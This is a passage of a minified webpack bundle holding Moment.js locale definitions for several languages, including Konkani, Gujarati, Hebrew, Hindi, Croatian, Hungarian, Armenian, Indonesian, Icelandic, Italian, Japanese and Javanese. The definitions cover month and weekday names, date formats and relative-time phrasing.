[वाजतां]",L:"DD-MM-YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY A h:mm [वाजतां]",LLLL:"dddd, MMMM Do, YYYY, A h:mm [वाजतां]",llll:"ddd, D MMM YYYY, A h:mm [वाजतां]"},calendar:{sameDay:"[आयज] LT",nextDay:"[फाल्यां] LT",nextWeek:"[फुडलो] dddd[,] LT",lastDay:"[काल] LT",lastWeek:"[फाटलो] dddd[,] LT",sameElse:"L"},relativeTime:{future:"%s",past:"%s आदीं",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}(वेर)/,ordinal:function(e,t){switch(t){case"D":return e+"वेर";default:case"M":case"Q":case"DDD":case"d":case"w":case"W":return e}},week:{dow:0,doy:3},meridiemParse:/राती|सकाळीं|दनपारां|सांजे/,meridiemHour:function(e,t){return 12===e&&(e=0),"राती"===t?e<4?e:e+12:"सकाळीं"===t?e:"दनपारां"===t?e>12?e:e+12:"सांजे"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"राती":e<12?"सकाळीं":e<16?"दनपारां":e<20?"सांजे":"राती"}})}(n(381))},3168:function(e,t,n){!function(e){"use strict";function t(e,t,n,r){var i={s:["thoddea sekondamni","thodde sekond"],ss:[e+" sekondamni",e+" sekond"],m:["eka mintan","ek minut"],mm:[e+" mintamni",e+" mintam"],h:["eka voran","ek vor"],hh:[e+" voramni",e+" voram"],d:["eka disan","ek dis"],dd:[e+" disamni",e+" dis"],M:["eka mhoinean","ek mhoino"],MM:[e+" mhoineamni",e+" mhoine"],y:["eka vorsan","ek voros"],yy:[e+" vorsamni",e+" vorsam"]};return r?i[n][0]:i[n][1]}e.defineLocale("gom-latn",{months:{standalone:"Janer_Febrer_Mars_Abril_Mai_Jun_Julai_Agost_Setembr_Otubr_Novembr_Dezembr".split("_"),format:"Janerachea_Febrerachea_Marsachea_Abrilachea_Maiachea_Junachea_Julaiachea_Agostachea_Setembrachea_Otubrachea_Novembrachea_Dezembrachea".split("_"),isFormat:/MMMM(\s)+D[oD]?/},monthsShort:"Jan._Feb._Mars_Abr._Mai_Jun_Jul._Ago._Set._Otu._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Aitar_Somar_Mongllar_Budhvar_Birestar_Sukrar_Son'var".split("_"),weekdaysShort:"Ait._Som._Mon._Bud._Bre._Suk._Son.".split("_"),weekdaysMin:"Ai_Sm_Mo_Bu_Br_Su_Sn".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"A h:mm [vazta]",LTS:"A h:mm:ss [vazta]",L:"DD-MM-YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY A h:mm [vazta]",LLLL:"dddd, MMMM Do, YYYY, A h:mm [vazta]",llll:"ddd, D MMM YYYY, A h:mm [vazta]"},calendar:{sameDay:"[Aiz] LT",nextDay:"[Faleam] LT",nextWeek:"[Fuddlo] dddd[,] LT",lastDay:"[Kal] LT",lastWeek:"[Fattlo] dddd[,] LT",sameElse:"L"},relativeTime:{future:"%s",past:"%s adim",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}(er)/,ordinal:function(e,t){switch(t){case"D":return e+"er";default:case"M":case"Q":case"DDD":case"d":case"w":case"W":return e}},week:{dow:0,doy:3},meridiemParse:/rati|sokallim|donparam|sanje/,meridiemHour:function(e,t){return 12===e&&(e=0),"rati"===t?e<4?e:e+12:"sokallim"===t?e:"donparam"===t?e>12?e:e+12:"sanje"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"rati":e<12?"sokallim":e<16?"donparam":e<20?"sanje":"rati"}})}(n(381))},5349:function(e,t,n){!function(e){"use strict";var t={1:"૧",2:"૨",3:"૩",4:"૪",5:"૫",6:"૬",7:"૭",8:"૮",9:"૯",0:"૦"},n={"૧":"1","૨":"2","૩":"3","૪":"4","૫":"5","૬":"6","૭":"7","૮":"8","૯":"9","૦":"0"};e.defineLocale("gu",{months:"જાન્યુઆરી_ફેબ્રુઆરી_માર્ચ_એપ્રિલ_મે_જૂન_જુલાઈ_ઑગસ્ટ_સપ્ટેમ્બર_ઑક્ટ્બર_નવેમ્બર_ડિસેમ્બર".split("_"),monthsShort:"જાન્યુ._ફેબ્રુ._માર્ચ_એપ્રિ._મે_જૂન_જુલા._ઑગ._સપ્ટે._ઑક્ટ્._નવે._ડિસે.".split("_"),monthsParseExact:!0,weekdays:"રવિવાર_સોમવાર_મંગળવાર_બુધ્વાર_ગુરુવાર_શુક્રવાર_શનિવાર".split("_"),weekdaysShort:"રવિ_સોમ_મંગળ_બુધ્_ગુરુ_શુક્ર_શનિ".split("_"),weekdaysMin:"ર_સો_મં_બુ_ગુ_શુ_શ".split("_"),longDateFormat:{LT:"A h:mm વાગ્યે",LTS:"A h:mm:ss વાગ્યે",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm વાગ્યે",LLLL:"dddd, D MMMM YYYY, A h:mm વાગ્યે"},calendar:{sameDay:"[આજ] LT",nextDay:"[કાલે] LT",nextWeek:"dddd, LT",lastDay:"[ગઇકાલે] LT",lastWeek:"[પાછલા] dddd, LT",sameElse:"L"},relativeTime:{future:"%s મા",past:"%s પહેલા",s:"અમુક પળો",ss:"%d સેકંડ",m:"એક મિનિટ",mm:"%d મિનિટ",h:"એક કલાક",hh:"%d કલાક",d:"એક દિવસ",dd:"%d દિવસ",M:"એક મહિનો",MM:"%d મહિનો",y:"એક વર્ષ",yy:"%d વર્ષ"},preparse:function(e){return e.replace(/[૧૨૩૪૫૬૭૮૯૦]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/રાત|બપોર|સવાર|સાંજ/,meridiemHour:function(e,t){return 12===e&&(e=0),"રાત"===t?e<4?e:e+12:"સવાર"===t?e:"બપોર"===t?e>=10?e:e+12:"સાંજ"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"રાત":e<10?"સવાર":e<17?"બપોર":e<20?"સાંજ":"રાત"},week:{dow:0,doy:6}})}(n(381))},4206:function(e,t,n){!function(e){"use strict";e.defineLocale("he",{months:"ינואר_פברואר_מרץ_אפריל_מאי_יוני_יולי_אוגוסט_ספטמבר_אוקטובר_נובמבר_דצמבר".split("_"),monthsShort:"ינו׳_פבר׳_מרץ_אפר׳_מאי_יוני_יולי_אוג׳_ספט׳_אוק׳_נוב׳_דצמ׳".split("_"),weekdays:"ראשון_שני_שלישי_רביעי_חמישי_שישי_שבת".split("_"),weekdaysShort:"א׳_ב׳_ג׳_ד׳_ה׳_ו׳_ש׳".split("_"),weekdaysMin:"א_ב_ג_ד_ה_ו_ש".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D [ב]MMMM YYYY",LLL:"D [ב]MMMM YYYY HH:mm",LLLL:"dddd, D [ב]MMMM YYYY HH:mm",l:"D/M/YYYY",ll:"D MMM YYYY",lll:"D MMM YYYY HH:mm",llll:"ddd, D MMM YYYY HH:mm"},calendar:{sameDay:"[היום ב־]LT",nextDay:"[מחר ב־]LT",nextWeek:"dddd [בשעה] LT",lastDay:"[אתמול ב־]LT",lastWeek:"[ביום] dddd [האחרון בשעה] LT",sameElse:"L"},relativeTime:{future:"בעוד %s",past:"לפני %s",s:"מספר שניות",ss:"%d שניות",m:"דקה",mm:"%d דקות",h:"שעה",hh:function(e){return 2===e?"שעתיים":e+" שעות"},d:"יום",dd:function(e){return 2===e?"יומיים":e+" ימים"},M:"חודש",MM:function(e){return 2===e?"חודשיים":e+" חודשים"},y:"שנה",yy:function(e){return 2===e?"שנתיים":e%10==0&&10!==e?e+" שנה":e+" שנים"}},meridiemParse:/אחה"צ|לפנה"צ|אחרי הצהריים|לפני הצהריים|לפנות בוקר|בבוקר|בערב/i,isPM:function(e){return/^(אחה"צ|אחרי הצהריים|בערב)$/.test(e)},meridiem:function(e,t,n){return e<5?"לפנות בוקר":e<10?"בבוקר":e<12?n?'לפנה"צ':"לפני הצהריים":e<18?n?'אחה"צ':"אחרי הצהריים":"בערב"}})}(n(381))},94:function(e,t,n){!function(e){"use strict";var t={1:"१",2:"२",3:"३",4:"४",5:"५",6:"६",7:"७",8:"८",9:"९",0:"०"},n={"१":"1","२":"2","३":"3","४":"4","५":"5","६":"6","७":"7","८":"8","९":"9","०":"0"},r=[/^जन/i,/^फ़र|फर/i,/^मार्च/i,/^अप्रै/i,/^मई/i,/^जून/i,/^जुल/i,/^अग/i,/^सितं|सित/i,/^अक्टू/i,/^नव|नवं/i,/^दिसं|दिस/i],i=[/^जन/i,/^फ़र/i,/^मार्च/i,/^अप्रै/i,/^मई/i,/^जून/i,/^जुल/i,/^अग/i,/^सित/i,/^अक्टू/i,/^नव/i,/^दिस/i];e.defineLocale("hi",{months:{format:"जनवरी_फ़रवरी_मार्च_अप्रैल_मई_जून_जुलाई_अगस्त_सितम्बर_अक्टूबर_नवम्बर_दिसम्बर".split("_"),standalone:"जनवरी_फरवरी_मार्च_अप्रैल_मई_जून_जुलाई_अगस्त_सितंबर_अक्टूबर_नवंबर_दिसंबर".split("_")},monthsShort:"जन._फ़र._मार्च_अप्रै._मई_जून_जुल._अग._सित._अक्टू._नव._दिस.".split("_"),weekdays:"रविवार_सोमवार_मंगलवार_बुधवार_गुरूवार_शुक्रवार_शनिवार".split("_"),weekdaysShort:"रवि_सोम_मंगल_बुध_गुरू_शुक्र_शनि".split("_"),weekdaysMin:"र_सो_मं_बु_गु_शु_श".split("_"),longDateFormat:{LT:"A h:mm बजे",LTS:"A h:mm:ss बजे",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY, A h:mm बजे",LLLL:"dddd, D MMMM YYYY, A h:mm बजे"},monthsParse:r,longMonthsParse:r,shortMonthsParse:i,monthsRegex:/^(जनवरी|जन\.?|फ़रवरी|फरवरी|फ़र\.?|मार्च?|अप्रैल|अप्रै\.?|मई?|जून?|जुलाई|जुल\.?|अगस्त|अग\.?|सितम्बर|सितंबर|सित\.?|अक्टूबर|अक्टू\.?|नवम्बर|नवंबर|नव\.?|दिसम्बर|दिसंबर|दिस\.?)/i,monthsShortRegex:/^(जनवरी|जन\.?|फ़रवरी|फरवरी|फ़र\.?|मार्च?|अप्रैल|अप्रै\.?|मई?|जून?|जुलाई|जुल\.?|अगस्त|अग\.?|सितम्बर|सितंबर|सित\.?|अक्टूबर|अक्टू\.?|नवम्बर|नवंबर|नव\.?|दिसम्बर|दिसंबर|दिस\.?)/i,monthsStrictRegex:/^(जनवरी?|फ़रवरी|फरवरी?|मार्च?|अप्रैल?|मई?|जून?|जुलाई?|अगस्त?|सितम्बर|सितंबर|सित?\.?|अक्टूबर|अक्टू\.?|नवम्बर|नवंबर?|दिसम्बर|दिसंबर?)/i,monthsShortStrictRegex:/^(जन\.?|फ़र\.?|मार्च?|अप्रै\.?|मई?|जून?|जुल\.?|अग\.?|सित\.?|अक्टू\.?|नव\.?|दिस\.?)/i,calendar:{sameDay:"[आज] LT",nextDay:"[कल] LT",nextWeek:"dddd, LT",lastDay:"[कल] LT",lastWeek:"[पिछले] dddd, LT",sameElse:"L"},relativeTime:{future:"%s में",past:"%s पहले",s:"कुछ ही क्षण",ss:"%d सेकंड",m:"एक मिनट",mm:"%d मिनट",h:"एक घंटा",hh:"%d घंटे",d:"एक दिन",dd:"%d दिन",M:"एक महीने",MM:"%d महीने",y:"एक वर्ष",yy:"%d वर्ष"},preparse:function(e){return e.replace(/[१२३४५६७८९०]/g,(function(e){return n[e]}))},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]}))},meridiemParse:/रात|सुबह|दोपहर|शाम/,meridiemHour:function(e,t){return 12===e&&(e=0),"रात"===t?e<4?e:e+12:"सुबह"===t?e:"दोपहर"===t?e>=10?e:e+12:"शाम"===t?e+12:void 0},meridiem:function(e,t,n){return e<4?"रात":e<10?"सुबह":e<17?"दोपहर":e<20?"शाम":"रात"},week:{dow:0,doy:6}})}(n(381))},316:function(e,t,n){!function(e){"use strict";function t(e,t,n){var r=e+" ";switch(n){case"ss":return r+=1===e?"sekunda":2===e||3===e||4===e?"sekunde":"sekundi";case"m":return t?"jedna minuta":"jedne minute";case"mm":return r+=1===e?"minuta":2===e||3===e||4===e?"minute":"minuta";case"h":return t?"jedan sat":"jednog sata";case"hh":return r+=1===e?"sat":2===e||3===e||4===e?"sata":"sati";case"dd":return r+=1===e?"dan":"dana";case"MM":return r+=1===e?"mjesec":2===e||3===e||4===e?"mjeseca":"mjeseci";case"yy":return r+=1===e?"godina":2===e||3===e||4===e?"godine":"godina"}}e.defineLocale("hr",{months:{format:"siječnja_veljače_ožujka_travnja_svibnja_lipnja_srpnja_kolovoza_rujna_listopada_studenoga_prosinca".split("_"),standalone:"siječanj_veljača_ožujak_travanj_svibanj_lipanj_srpanj_kolovoz_rujan_listopad_studeni_prosinac".split("_")},monthsShort:"sij._velj._ožu._tra._svi._lip._srp._kol._ruj._lis._stu._pro.".split("_"),monthsParseExact:!0,weekdays:"nedjelja_ponedjeljak_utorak_srijeda_četvrtak_petak_subota".split("_"),weekdaysShort:"ned._pon._uto._sri._čet._pet._sub.".split("_"),weekdaysMin:"ne_po_ut_sr_če_pe_su".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"Do MMMM YYYY",LLL:"Do MMMM YYYY H:mm",LLLL:"dddd, Do MMMM YYYY H:mm"},calendar:{sameDay:"[danas u] LT",nextDay:"[sutra u] LT",nextWeek:function(){switch(this.day()){case 0:return"[u] [nedjelju] [u] LT";case 3:return"[u] [srijedu] [u] LT";case 6:return"[u] [subotu] [u] LT";case 1:case 2:case 4:case 5:return"[u] dddd [u] LT"}},lastDay:"[jučer u] LT",lastWeek:function(){switch(this.day()){case 0:return"[prošlu] [nedjelju] [u] LT";case 3:return"[prošlu] [srijedu] [u] LT";case 6:return"[prošle] [subote] [u] LT";case 1:case 2:case 4:case 5:return"[prošli] dddd [u] LT"}},sameElse:"L"},relativeTime:{future:"za %s",past:"prije %s",s:"par sekundi",ss:t,m:t,mm:t,h:t,hh:t,d:"dan",dd:t,M:"mjesec",MM:t,y:"godinu",yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n(381))},2138:function(e,t,n){!function(e){"use strict";var t="vasárnap hétfőn kedden szerdán csütörtökön pénteken szombaton".split(" ");function n(e,t,n,r){var i=e;switch(n){case"s":return r||t?"néhány másodperc":"néhány másodperce";case"ss":return i+(r||t)?" másodperc":" másodperce";case"m":return"egy"+(r||t?" perc":" perce");case"mm":return i+(r||t?" perc":" perce");case"h":return"egy"+(r||t?" óra":" órája");case"hh":return i+(r||t?" óra":" órája");case"d":return"egy"+(r||t?" nap":" napja");case"dd":return i+(r||t?" nap":" napja");case"M":return"egy"+(r||t?" hónap":" hónapja");case"MM":return i+(r||t?" hónap":" hónapja");case"y":return"egy"+(r||t?" év":" éve");case"yy":return i+(r||t?" év":" éve")}return""}function r(e){return(e?"":"[múlt] ")+"["+t[this.day()]+"] LT[-kor]"}e.defineLocale("hu",{months:"január_február_március_április_május_június_július_augusztus_szeptember_október_november_december".split("_"),monthsShort:"jan._feb._márc._ápr._máj._jún._júl._aug._szept._okt._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"vasárnap_hétfő_kedd_szerda_csütörtök_péntek_szombat".split("_"),weekdaysShort:"vas_hét_kedd_sze_csüt_pén_szo".split("_"),weekdaysMin:"v_h_k_sze_cs_p_szo".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"YYYY.MM.DD.",LL:"YYYY. MMMM D.",LLL:"YYYY. MMMM D. H:mm",LLLL:"YYYY. MMMM D., dddd H:mm"},meridiemParse:/de|du/i,isPM:function(e){return"u"===e.charAt(1).toLowerCase()},meridiem:function(e,t,n){return e<12?!0===n?"de":"DE":!0===n?"du":"DU"},calendar:{sameDay:"[ma] LT[-kor]",nextDay:"[holnap] LT[-kor]",nextWeek:function(){return r.call(this,!0)},lastDay:"[tegnap] LT[-kor]",lastWeek:function(){return r.call(this,!1)},sameElse:"L"},relativeTime:{future:"%s múlva",past:"%s",s:n,ss:n,m:n,mm:n,h:n,hh:n,d:n,dd:n,M:n,MM:n,y:n,yy:n},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},1423:function(e,t,n){!function(e){"use strict";e.defineLocale("hy-am",{months:{format:"հունվարի_փետրվարի_մարտի_ապրիլի_մայիսի_հունիսի_հուլիսի_օգոստոսի_սեպտեմբերի_հոկտեմբերի_նոյեմբերի_դեկտեմբերի".split("_"),standalone:"հունվար_փետրվար_մարտ_ապրիլ_մայիս_հունիս_հուլիս_օգոստոս_սեպտեմբեր_հոկտեմբեր_նոյեմբեր_դեկտեմբեր".split("_")},monthsShort:"հնվ_փտր_մրտ_ապր_մյս_հնս_հլս_օգս_սպտ_հկտ_նմբ_դկտ".split("_"),weekdays:"կիրակի_երկուշաբթի_երեքշաբթի_չորեքշաբթի_հինգշաբթի_ուրբաթ_շաբաթ".split("_"),weekdaysShort:"կրկ_երկ_երք_չրք_հնգ_ուրբ_շբթ".split("_"),weekdaysMin:"կրկ_երկ_երք_չրք_հնգ_ուրբ_շբթ".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY թ.",LLL:"D MMMM YYYY թ., HH:mm",LLLL:"dddd, D MMMM YYYY թ., HH:mm"},calendar:{sameDay:"[այսօր] LT",nextDay:"[վաղը] LT",lastDay:"[երեկ] LT",nextWeek:function(){return"dddd [օրը ժամը] LT"},lastWeek:function(){return"[անցած] dddd [օրը ժամը] LT"},sameElse:"L"},relativeTime:{future:"%s հետո",past:"%s առաջ",s:"մի քանի վայրկյան",ss:"%d վայրկյան",m:"րոպե",mm:"%d րոպե",h:"ժամ",hh:"%d ժամ",d:"օր",dd:"%d օր",M:"ամիս",MM:"%d ամիս",y:"տարի",yy:"%d տարի"},meridiemParse:/գիշերվա|առավոտվա|ցերեկվա|երեկոյան/,isPM:function(e){return/^(ցերեկվա|երեկոյան)$/.test(e)},meridiem:function(e){return e<4?"գիշերվա":e<12?"առավոտվա":e<17?"ցերեկվա":"երեկոյան"},dayOfMonthOrdinalParse:/\d{1,2}|\d{1,2}-(ին|րդ)/,ordinal:function(e,t){switch(t){case"DDD":case"w":case"W":case"DDDo":return 1===e?e+"-ին":e+"-րդ";default:return e}},week:{dow:1,doy:7}})}(n(381))},9218:function(e,t,n){!function(e){"use strict";e.defineLocale("id",{months:"Januari_Februari_Maret_April_Mei_Juni_Juli_Agustus_September_Oktober_November_Desember".split("_"),monthsShort:"Jan_Feb_Mar_Apr_Mei_Jun_Jul_Agt_Sep_Okt_Nov_Des".split("_"),weekdays:"Minggu_Senin_Selasa_Rabu_Kamis_Jumat_Sabtu".split("_"),weekdaysShort:"Min_Sen_Sel_Rab_Kam_Jum_Sab".split("_"),weekdaysMin:"Mg_Sn_Sl_Rb_Km_Jm_Sb".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [pukul] HH.mm",LLLL:"dddd, D MMMM YYYY [pukul] HH.mm"},meridiemParse:/pagi|siang|sore|malam/,meridiemHour:function(e,t){return 12===e&&(e=0),"pagi"===t?e:"siang"===t?e>=11?e:e+12:"sore"===t||"malam"===t?e+12:void 0},meridiem:function(e,t,n){return e<11?"pagi":e<15?"siang":e<19?"sore":"malam"},calendar:{sameDay:"[Hari ini pukul] LT",nextDay:"[Besok pukul] LT",nextWeek:"dddd [pukul] LT",lastDay:"[Kemarin pukul] LT",lastWeek:"dddd [lalu pukul] LT",sameElse:"L"},relativeTime:{future:"dalam %s",past:"%s yang lalu",s:"beberapa detik",ss:"%d detik",m:"semenit",mm:"%d menit",h:"sejam",hh:"%d jam",d:"sehari",dd:"%d hari",M:"sebulan",MM:"%d bulan",y:"setahun",yy:"%d tahun"},week:{dow:0,doy:6}})}(n(381))},135:function(e,t,n){!function(e){"use strict";function t(e){return e%100==11||e%10!=1}function n(e,n,r,i){var s=e+" ";switch(r){case"s":return n||i?"nokkrar sekúndur":"nokkrum sekúndum";case"ss":return t(e)?s+(n||i?"sekúndur":"sekúndum"):s+"sekúnda";case"m":return n?"mínúta":"mínútu";case"mm":return t(e)?s+(n||i?"mínútur":"mínútum"):n?s+"mínúta":s+"mínútu";case"hh":return t(e)?s+(n||i?"klukkustundir":"klukkustundum"):s+"klukkustund";case"d":return n?"dagur":i?"dag":"degi";case"dd":return t(e)?n?s+"dagar":s+(i?"daga":"dögum"):n?s+"dagur":s+(i?"dag":"degi");case"M":return n?"mánuður":i?"mánuð":"mánuði";case"MM":return t(e)?n?s+"mánuðir":s+(i?"mánuði":"mánuðum"):n?s+"mánuður":s+(i?"mánuð":"mánuði");case"y":return n||i?"ár":"ári";case"yy":return t(e)?s+(n||i?"ár":"árum"):s+(n||i?"ár":"ári")}}e.defineLocale("is",{months:"janúar_febrúar_mars_apríl_maí_júní_júlí_ágúst_september_október_nóvember_desember".split("_"),monthsShort:"jan_feb_mar_apr_maí_jún_júl_ágú_sep_okt_nóv_des".split("_"),weekdays:"sunnudagur_mánudagur_þriðjudagur_miðvikudagur_fimmtudagur_föstudagur_laugardagur".split("_"),weekdaysShort:"sun_mán_þri_mið_fim_fös_lau".split("_"),weekdaysMin:"Su_Má_Þr_Mi_Fi_Fö_La".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY [kl.] H:mm",LLLL:"dddd, D. MMMM YYYY [kl.] H:mm"},calendar:{sameDay:"[í dag kl.] LT",nextDay:"[á morgun kl.] LT",nextWeek:"dddd [kl.] LT",lastDay:"[í gær kl.] LT",lastWeek:"[síðasta] dddd [kl.] LT",sameElse:"L"},relativeTime:{future:"eftir %s",past:"fyrir %s síðan",s:n,ss:n,m:n,mm:n,h:"klukkustund",hh:n,d:n,dd:n,M:n,MM:n,y:n,yy:n},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},150:function(e,t,n){!function(e){"use strict";e.defineLocale("it-ch",{months:"gennaio_febbraio_marzo_aprile_maggio_giugno_luglio_agosto_settembre_ottobre_novembre_dicembre".split("_"),monthsShort:"gen_feb_mar_apr_mag_giu_lug_ago_set_ott_nov_dic".split("_"),weekdays:"domenica_lunedì_martedì_mercoledì_giovedì_venerdì_sabato".split("_"),weekdaysShort:"dom_lun_mar_mer_gio_ven_sab".split("_"),weekdaysMin:"do_lu_ma_me_gi_ve_sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Oggi alle] LT",nextDay:"[Domani alle] LT",nextWeek:"dddd [alle] LT",lastDay:"[Ieri alle] LT",lastWeek:function(){switch(this.day()){case 0:return"[la scorsa] dddd [alle] LT";default:return"[lo scorso] dddd [alle] LT"}},sameElse:"L"},relativeTime:{future:function(e){return(/^[0-9].+$/.test(e)?"tra":"in")+" "+e},past:"%s fa",s:"alcuni secondi",ss:"%d secondi",m:"un minuto",mm:"%d minuti",h:"un'ora",hh:"%d ore",d:"un giorno",dd:"%d giorni",M:"un mese",MM:"%d mesi",y:"un anno",yy:"%d anni"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(n(381))},626:function(e,t,n){!function(e){"use strict";e.defineLocale("it",{months:"gennaio_febbraio_marzo_aprile_maggio_giugno_luglio_agosto_settembre_ottobre_novembre_dicembre".split("_"),monthsShort:"gen_feb_mar_apr_mag_giu_lug_ago_set_ott_nov_dic".split("_"),weekdays:"domenica_lunedì_martedì_mercoledì_giovedì_venerdì_sabato".split("_"),weekdaysShort:"dom_lun_mar_mer_gio_ven_sab".split("_"),weekdaysMin:"do_lu_ma_me_gi_ve_sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:function(){return"[Oggi a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},nextDay:function(){return"[Domani a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},nextWeek:function(){return"dddd [a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},lastDay:function(){return"[Ieri a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"},lastWeek:function(){switch(this.day()){case 0:return"[La scorsa] dddd [a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT";default:return"[Lo scorso] dddd [a"+(this.hours()>1?"lle ":0===this.hours()?" ":"ll'")+"]LT"}},sameElse:"L"},relativeTime:{future:"tra %s",past:"%s fa",s:"alcuni secondi",ss:"%d secondi",m:"un minuto",mm:"%d minuti",h:"un'ora",hh:"%d ore",d:"un giorno",dd:"%d giorni",w:"una settimana",ww:"%d settimane",M:"un mese",MM:"%d mesi",y:"un anno",yy:"%d anni"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(n(381))},9183:function(e,t,n){!function(e){"use strict";e.defineLocale("ja",{eras:[{since:"2019-05-01",offset:1,name:"令和",narrow:"㋿",abbr:"R"},{since:"1989-01-08",until:"2019-04-30",offset:1,name:"平成",narrow:"㍻",abbr:"H"},{since:"1926-12-25",until:"1989-01-07",offset:1,name:"昭和",narrow:"㍼",abbr:"S"},{since:"1912-07-30",until:"1926-12-24",offset:1,name:"大正",narrow:"㍽",abbr:"T"},{since:"1873-01-01",until:"1912-07-29",offset:6,name:"明治",narrow:"㍾",abbr:"M"},{since:"0001-01-01",until:"1873-12-31",offset:1,name:"西暦",narrow:"AD",abbr:"AD"},{since:"0000-12-31",until:-1/0,offset:1,name:"紀元前",narrow:"BC",abbr:"BC"}],eraYearOrdinalRegex:/(元|\d+)年/,eraYearOrdinalParse:function(e,t){return"元"===t[1]?1:parseInt(t[1]||e,10)},months:"1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月".split("_"),monthsShort:"1月_2月_3月_4月_5月_6月_7月_8月_9月_10月_11月_12月".split("_"),weekdays:"日曜日_月曜日_火曜日_水曜日_木曜日_金曜日_土曜日".split("_"),weekdaysShort:"日_月_火_水_木_金_土".split("_"),weekdaysMin:"日_月_火_水_木_金_土".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY/MM/DD",LL:"YYYY年M月D日",LLL:"YYYY年M月D日 HH:mm",LLLL:"YYYY年M月D日 dddd HH:mm",l:"YYYY/MM/DD",ll:"YYYY年M月D日",lll:"YYYY年M月D日 HH:mm",llll:"YYYY年M月D日(ddd) HH:mm"},meridiemParse:/午前|午後/i,isPM:function(e){return"午後"===e},meridiem:function(e,t,n){return e<12?"午前":"午後"},calendar:{sameDay:"[今日] LT",nextDay:"[明日] LT",nextWeek:function(e){return e.week()!==this.week()?"[来週]dddd LT":"dddd LT"},lastDay:"[昨日] LT",lastWeek:function(e){return this.week()!==e.week()?"[先週]dddd LT":"dddd LT"},sameElse:"L"},dayOfMonthOrdinalParse:/\d{1,2}日/,ordinal:function(e,t){switch(t){case"y":return 1===e?"元年":e+"年";case"d":case"D":case"DDD":return e+"日";default:return e}},relativeTime:{future:"%s後",past:"%s前",s:"数秒",ss:"%d秒",m:"1分",mm:"%d分",h:"1時間",hh:"%d時間",d:"1日",dd:"%d日",M:"1ヶ月",MM:"%dヶ月",y:"1年",yy:"%d年"}})}(n(381))},4286:function(e,t,n){!function(e){"use strict";e.defineLocale("jv",{months:"Januari_Februari_Maret_April_Mei_Juni_Juli_Agustus_September_Oktober_Nopember_Desember".split("_"),monthsShort:"Jan_Feb_Mar_Apr_Mei_Jun_Jul_Ags_Sep_Okt_Nop_Des".split("_"),weekdays:"Minggu_Senen_Seloso_Rebu_Kemis_Jemuwah_Septu".split("_"),weekdaysShort:"Min_Sen_Sel_Reb_Kem_Jem_Sep".split("_"),weekdaysMin:"Mg_Sn_Sl_Rb_Km_Jm_Sp".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY [pukul] HH.mm",LLLL:"dddd, D MMMM YYYY [pukul] HH.mm"},meridiemParse:/enjing|siyang|sonten|ndalu/,meridiemHour:function(e,t){return 12===e&&(e=0),"enjing"===t?e:"siyang"===t?e>=11?e:e+12:"sonten"===t||"ndalu"===t?e+12:void 0},meridiem:function(e,t,n){return e<11?"enjing":e<15?"siyang":e<19?"sonten":"ndalu"},calendar:{sameDay:"[Dinten puniko pukul] LT",nextDay:"[Mbenjang pukul] LT",nextWeek:"dddd [pukul] LT",lastDay:"[Kala wingi pukul] LT",lastWeek:"dddd [kepengker pukul] LT",sameElse:"L"},relativeTime:{future:"wonten ing %s",past:"%s ingkang kepengker",s:"sawetawis detik",ss:"%d detik",m:"setunggal menit",mm:"%d menit",h:"setunggal jam",hh:"%d jam",d:"sedinten",dd:"%d 